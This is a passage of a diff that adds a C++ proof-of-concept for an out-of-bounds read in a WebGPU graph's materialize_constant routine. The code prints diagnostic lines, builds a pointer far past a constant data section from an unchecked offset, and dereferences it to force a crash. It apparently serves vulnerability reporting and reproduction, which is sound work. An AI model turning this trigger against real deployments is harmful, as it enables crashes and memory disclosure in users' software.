+    // --- Reproduce WebGPUGraph.cpp:717-733 (materialize_constant) ---
+    printf("\n[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)\n");
+    printf("[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true\n");
+    printf("[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,\n");
+    printf("[PoC]                          constant_data_ + cs.inline_offset, cs.nbytes)\n");
+    printf("[PoC] constant_data_ = %p\n", (void*)constant_data);
+    printf("[PoC] cs.inline_offset = 0x%llx\n", (unsigned long long)cs.inline_offset);
+    printf("[PoC] cs.nbytes = %zu\n", cs.nbytes);
+    printf("[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0x%llx is %llu bytes past a %zu-byte section ***\n\n",
+           (unsigned long long)cs.inline_offset,
+           (unsigned long long)cs.inline_offset - constant_size,
+           constant_size);
+
+    printf("[PoC] Executing OOB pointer arithmetic now...\n");
+
+    // Exact expression from WebGPUGraph.cpp:733:
+    //   wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)
+    // wgpuQueueWriteBuffer reads from [constant_data_+cs.inline_offset, +cs.nbytes).
+    // UBSan catches OOB pointer arithmetic first; then SEGV on dereference.
+    const uint8_t* oob_ptr = constant_data + cs.inline_offset;
+    printf("[PoC] oob_ptr = %p (computed from constant_data_ + 0x%llx)\n",
+           (void*)oob_ptr, (unsigned long long)cs.inline_offset);
+
+    // Force a dereference — this is what wgpuQueueWriteBuffer does internally
+    // when it reads the source buffer to upload to the GPU.
+    volatile uint8_t byte = *oob_ptr;
+    (void)byte;
+
+    printf("[PoC] SHOULD NOT REACH HERE\n");
+    return 0;
+}